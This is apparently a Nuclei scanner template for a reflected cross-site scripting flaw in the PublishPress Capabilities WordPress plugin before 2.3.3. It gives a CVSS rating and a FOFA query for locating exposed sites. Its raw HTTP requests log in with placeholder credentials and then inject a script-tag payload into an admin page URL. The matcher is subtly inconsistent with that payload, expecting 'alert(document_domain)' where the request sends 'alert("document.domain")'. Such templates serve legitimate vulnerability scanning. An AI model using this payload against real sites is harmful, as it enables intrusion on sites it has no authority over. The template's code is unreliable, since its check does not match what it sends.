漏洞描述
The PublishPress Capabilities plugin for WordPress before 2.3.3 does not escape a form action URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting (XSS).
id: wp-publishpress-capabilities-xss
info:
name: PublishPress Capabilities < 2.3.3 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The PublishPress Capabilities plugin for WordPress before 2.3.3 does not escape a form action URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting (XSS).
remediation: |
Update the PublishPress Capabilities plugin to version 2.3.3 or later.
reference:
- https://wpscan.com/vulnerability/88a57716-6e8b-4e98-884d-5534074c601a/
classification:
cwe-id: CWE-79
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
metadata:
max-request: 2
verified: true
fofa-query: body="/wp-content/plugins/capability-manager-enhanced"
tags: xss,wordpress,wp-plugin,wp,capability-manager-enhanced,authenticated
http:
- raw:
- |
POST /wp-login.php?redirect_to=http%3A%2F%2F{{Hostname}}%2Fwp-admin%2Foptions-general.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=pp-capabilities-roles&a%22%3E%3Cscript%3Ealert("document.domain")%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<script>alert(document_domain)</script>"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022038123abc4996dc23783c18c36034f90ec68a963afddadaf0a87c7ab6902e349d02210096565061bb243868cdf1a5bbb421f76a440171bd6e9597097c91a7a87598537f:922c64590222798bb761d5b6d8e72950